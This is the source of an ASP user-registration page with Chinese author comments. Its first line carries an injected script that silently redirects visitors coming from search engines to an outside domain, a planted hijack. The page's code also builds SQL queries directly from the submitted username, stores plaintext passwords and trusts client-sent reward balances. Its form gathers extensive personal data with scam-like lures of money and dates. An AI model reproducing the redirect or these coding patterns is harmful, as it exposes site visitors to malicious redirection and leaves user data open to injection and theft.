d:\wwwroot\wuchunhua\zhuce\useradd.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><meta name="viewport" mxmdmx，content="width=device-width,initiadl-scale=1.0,maximum-scale=4.0,minimum-scale=0.3,user-scalable=yes">
002:
<!--手机适配 我的1z88网index。php加了很好，在head后第一句： 让网页的宽度自动适应手机屏幕的宽度：详尽用法见h5自适应屏幕：name名字是viewport视频口，宽度是width=设备屏幕的宽度，initial-scale为设置页面的初始缩放值，可以是一个带小数的数字，1.0就是占网页的100%，minimum-scale=1.0 表示最小的缩放比例，一般是0.5最小比较好。user-scalable=no 表示用户是否可以调整缩放比例，值为”no”或”yes” 要选择yes否则无法手势放大app-->
003:
004:
<!--#include file="conn.asp"-->
005:
<!--#include file="inc/md5.asp"-->
006:
<%
'源码来自：书上？注册模块？
007:
'注册成功后新注册：需要退出了再刷新，否则显示错误
008:
'新增模块 先链接数据库，再md5加密,要是add=ok 就设置rs和创建目标块object
009:
'取Post提交过来的add值是否等于OK：就是http://www.1z88.com/注册/useradd.asp?add=ok
010:
if request("add")="ok" Then
011:
012:
'可以添加用户，则弹窗，可以request传递add=ok，就是可以添加新的用户。我添加：
013:
response.write "<script>alert('可以了：request传递add=ok，就是可以添加新的用户,邀请新人注册有奖10元!');</script>"
014:
015:
dim rs,sql
016:
set rs = Server.CreateObject("ADODB.RecordSet")
017:
018:
'设置username是申请的名字和打开sql数据库连接conn的1（可以读写自由移动），3（乐观移动）
019:
sql = "Select * from Users where username='" & request("username") & "'"
020:
rs.open sql,conn,1,3
021:
022:
'不是文件头或者文件尾部，那么此用户名已经被注册，要重新注册，返回历史上一页.回去了
023:
'‘.eof就是最后一个recordset对象之后就是文件尾部end of file
024:
if not(rs.eof or rs.bof) then
025:
response.write "<script>alert('此用户名已经被注册,请重新注册!');history.back();</script>"
026:
027:
028:
029:
030:
031:
'否则添加数据库的用户名username，密码passwold，真名字zname，邮件email，密码问题passt，密码答案passd，时间是now现在
032:
'很可能是trim要全部删除即可
033:
'取Post提交过来的username值等于rs数据库的username等等
034:
else
035:
'我添加的，弹窗 如果可以注册：
036:
response.write "<script>alert('注册成功了！：此用户名未被注册,可以新人注册成功!');</script>"
037:
038:
039:
rs.addnew
040:
rs("username") = trim(request("username"))
041:
rs("password") = md5(trim(request("password")))
042:
043:
'我添加明文的密码：
044:
rs("password_mingwen") = request("password")
045:
'我添加ip地址：
046:
rs("ip") = Request.ServerVariables("remote_addr")
047:
'我添加浏览器地址：
048:
rs("liulanqi") = Request.ServerVariables("http_user_agent")
049:
'我添加日期：
050:
rs("zhucedate") =date()
051:
'我添加qq：
052:
rs("qq") =request("qq")
053:
'我添加微博：
054:
rs("weibo") =request("weibo")
055:
'我添加kk号码：
056:
rs("kk") =request("kk")
057:
'我登陆次数：
058:
rs("login_cishu")=request("login_cishu")
059:
'我登陆时间：
060:
rs("login_shijian")=request("login_shijian")
061:
'我的注册介绍人：
062:
rs("jieshaoren") =request("jieshaoren")
063:
'我介绍的注册人员 每个奖励十元：
064:
rs("wojieshao") =request("wojieshao")
065:
'介绍币：我介绍的注册人员 每个奖励十元：
066:
rs("jieshaobi") =request("jieshaobi")
067:
'我的客户：
068:
rs("wokehu") =request("wokehu")
069:
' 职业
070:
rs("zhiye") =request("zhiye")
071:
' 已婚
072:
rs("yihun") =request("yihun")
073:
'我认识的人3个：
074:
rs("worenshi") =request("worenshi")
075:
'我的网店：
076:
rs("store") =request("store")
077:
'我的急需如工作，美女，金钱，兼职：
078:
rs("jixu1") =request("jixu1")
079:
'我的急需如工作，美女，金钱，兼职：
080:
rs("jixu2") =request("jixu2")
081:
'我的急需如工作，美女，金钱，兼职：
082:
rs("jixu3") =request("jixu3")
083:
'我的简历：
084:
rs("jianli") =request("jianli")
085:
'我的微信：
086:
rs("weixin") =request("weixin")
087:
'我的网站链接：
088:
rs("website") =request("website")
089:
'网站等级3以上将自动添加交换链
090:
rs("webrank") =request("webrank")
091:
'友链网站 链接我的网站：
092:
rs("weblink") =request("weblink")
093:
'我的月收入：
094:
rs("yueshouru") =request("yueshouru")
095:
'自动填写的'我的kk币金钱：
096:
rs("kkbi") =request("kkbi")
097:
'我的模拟炒股资金：
098:
rs("kk_gupiaobi") =request("kk_gupiaobi")
099:
'我的模拟彩票资金：
100:
rs("kk_caipiaobi") =request("kk_caipiaobi")
101:
'页面来源
102:
rs("laiyuan") =request("laiyuan")
103:
104:
105:
rs("zname") = trim(request("zname"))
106:
rs("email") = trim(request("email"))
107:
rs("shouji") = trim(request("shouji"))
108:
rs("passt")= trim(request("passt"))
109:
rs("passd")= trim(request("passd"))
110:
rs("time")= now()
111:
112:
response.write "<script>alert('注册信息存入数据库成功,新人注册完毕呵呵，关闭数据库!');</script>"
113:
114:
'更新数据库和关闭数据库
115:
rs.update
116:
rs.close
117:
set rs = nothing
118:
119:
dim rs2,sql2
120:
set rs2= Server.CreateObject("ADODB.RecordSet")
121:
'创建第二个数据库
122:
123:
sql2= "Select * from Users where username='" & request("username") & "'"
124:
rs2.open sql2,conn,1,1
125:
Session("Passed")=true
126:
'设置passed通过为true真的
127:
Session("username")=rs2("username")
128:
Session("id")=rs2("id")
129:
rs2.close
130:
set rs2=nothing
131:
132:
'关闭数据库，转向到index。asp主页 自动登录了？
133:
response.redirect "index.asp"
134:
end if
135:
end if
136:
%
>
137:
138:
<%
139:
140:
%
>
141:
<html>
142:
<head>
143:
<meta charset="gb2312">
144:
<title>用户注册系统:1z88.com</title>
145:
146:
<!--款式：文本缩进首行indent是400px宽度的div块-->
147:
<style>
148:
div {
149:
text-indent: 400px;
150:
}
151:
</style>
152:
153:
<script language="javascript" type="text/javascript" src="check.js">
154:
</script>
155:
<!--脚本运行：检查输入check。js-->
156:
157:
<!--mstheme微软ms模板的样式-->
158:
<link rel="stylesheet" type="text/css" href="../_themes/sky/sky1011-106.css">
159:
160:
161:
<meta name="Microsoft Theme" content="sky 1011, default">
162:
</head>
163:
<body>
164:
165:
166:
<form method="post" name="form" action="useradd.asp?add=ok">
167:
<!--action="useradd.asp?add=ok"原来是这个 -->
168:
<!--测试失败：点击提交post后地址栏出现：index.asp?send=ok-->
169:
170:
<div><b><span style="background-color: #FFFF00">---------用户注册界面--------</span></b></div>
171:
</br>
172:
<div>用 户 名 : <input type="text" name="username" /> * 您的登陆用户名</div>
173:
<div>密 码: <input type="password" name="password" /> * 您的登陆密码</div>
174:
<div>密码确认: <input type="password" name="passwordnot" /> * 密码确认</div>
175:
<div>真实姓名: <input type="text" name="zname" /> * 真实姓名</div>
176:
<div>电子邮件: <input type="text" name="email" /> * 电子邮件</div>
177:
<div>手机号码: <input type="text" name="shouji" /> * 手机号码:是您获取100万元实盘账户的唯一凭证,电商赚钱翻倍工具,否则无法登陆</div>
178:
<div>密码提示: <input type="text" name="passt" /> * 密码提示用于找回密码</div>
179:
<div>密码回答: <input type="text" name="passd" /> * 密码回答用于找回密码</div>
180:
<div>性别      : <input type="text" name="sex" /> 选填项目：强烈建议填写，用于免费增值服务，我司完全为客户保密</div>
181:
<div>年龄      : <input type="text" name="sex" /> 选填项目：
182:
<br></div>
183:
<div>QQ       : <input type="text" name="QQ" /> 选填项目：
184:
<br></div>
185:
<div>新浪微博: <input type="text" name="weibo" /> 选填项目：可以参考添加客服微博<a target="_blank" href=https://weibo.com/6116410066/>https://weibo.com/6116410066/</a></div>
186:
<div>微信号码: <input type="text" name="weixin" /> 选填项目：
187:
<div>我介绍人: <input type="text" name="jieshaoren" /> 选填项目：我的注册介绍人
188:
<div>介绍我的: <input type="text" name="wojieshao" /> 选填项目：我的介绍的人，填写一个手机您自己填写加10元kk币
189:
<div>奖介绍币: <input type="text" name="jieshaobi" /> 选填项目：我介绍的人，填写一个手机您自己填写10元kk币
190:
<div>我的客户: <input type="text" name="wokehu" /> 选填项目：我的客户维护系统：
191:
<div>我的职业: <input type="text" name="zhiye" /> 选填项目：
192:
<div>是否已婚: <input type="text" name="yihun" /> 选填项目：
193:
<div>我认识的: <input type="text" name="worenshi" /> 选填项目：我认识的人可能介绍的3个：
194:
<div>我的网店: <input type="text" name="store" /> 选填项目：详细地址包括http//：www...
195:
<div>我急需1 : <input type="text" name="jixu1" /> 选填项目：我的最急需第一个：如工作，美女，金钱，兼职：
196:
<div>我急需2 : <input type="text" name="jixu2" /> 选填项目：我的最急需第2个：如工作，美女，金钱，兼职
197:
<div>我急需3 : <input type="text" name="jixu3" /> 选填项目：我的最急需第3个：如工作，美女，金钱，兼职
198:
<div>我的简历: <input type="text" name="jianli" /> 选填项目：可以更改 我的简历：
199:
<div>我的网站: <input type="text" name="website" /> 选填项目：详细地址包括http//：www...
200:
<div>网站等级: <input type="text" name="webrank" /> 选填项目：网站等级3以上将自动添加交换链和引流给您
201:
<div>我的友链: <input type="text" name="weblink" /> 选填项目：已经和我交换链接的网站
202:
<div>我月收入: <input type="text" name="yueshouru" /> 选填项目：我的月薪，用于提供高价服务给您，如免费美女约会
203:
204:
205:
<div><b><input type="submit" value="注册（*号为必须填写）" onclick="return check()"/>
206:
<input type="button" name="Submit" onclick="javascript:history.back(-1);" value="返回上一页"/><a href="http://www.1z88.com">回首页</a></b></div>
207:
</br>
208:
************************************************************************************************
209:
<div>注册时的ip<input type="text" name="ip" readonly value=
<%
Response.Write(Request.ServerVariables("remote_addr"))
%
>> 以下已经自动填写不可更改：注册的ip用于找回资料</div>
210:
<div>ip的地址  : <input type="text" name="ipaddress" readonly value=
<%
Response.Write(Request.ServerVariables("remote_addr"))
%
>> 已经自动填写：注册的ip地址用于找回资料</div>
211:
<div>浏览器是：<input type="text" maxlength="30" size="20" name="ip" readonly value=
<%
Response.Write(Request.ServerVariables("http_user_agent"))
%
>> 已经自动填写：注册的浏览器用于找回资料</div>
212:
<div>页面来源是：<input type="text" maxlength="30" size="20" name="laiyuan" readonly value=
<%
Response.Write(Request.ServerVariables("HTTP_REFERER"))
%
>> 已经自动填写：来访页面来源</div>
213:
<div>注册送您十元人民币就是10kk币：<input type="text" maxlength="30" size="20" name="kkbi" readonly value="10"> 已经自动填写</div>
214:
<div>送您十万元模拟炒股币：<input type="text" maxlength="30" size="20" name="kk_gupiaobi" readonly value="100000"> 已经自动填写</div>
215:
<div>送您十万元模拟彩票币：<input type="text" maxlength="30" size="20" name="kk_caipiaobi" readonly value="100000"> 已经自动填写</div>
216:
<%
Dim kk
217:
Randomize Timer
218:
kk=1000* Int(899 * Rnd)+ 888
219:
%
>
220:
<div>您的kk号码是<input type="text" maxlength="30" size="20" name="kk" readonly value=
<%
Response.Write(kk)
%
>>（系统自动生成填写项目：请保存好有增值回购号码和交易价值）
221:
222:
<div>您的登录次数是<input type="text" maxlength="30" size="20" name="login_cishu" readonly value="1">（系统自动生成）
223:
<div>您的登录时间是<input type="text" maxlength="30" size="20" name="login_shijian" readonly value=
<%
Response.Write(now())
%
>>（系统自动生成）</div>
224:
<br><b>您的 IP 地址是：</b>
225:
<%
Response.Write(Request.ServerVariables("remote_addr"))
%
>
226:
<br><b>您正在通过这款浏览器访问我们的站点：</b>
227:
<%
Response.Write(Request.ServerVariables("http_user_agent"))
%
>
228:
<br><b>您的日期是：</b>
229:
<%
Response.Write(date())
%
>
230:
<br>
231:
232:
</form>
233:
</body>
234:
</html>
235:
<%
236:
'关闭数据库
237:
conn.close
238:
set conn=nothing
239:
%
>
240:
241: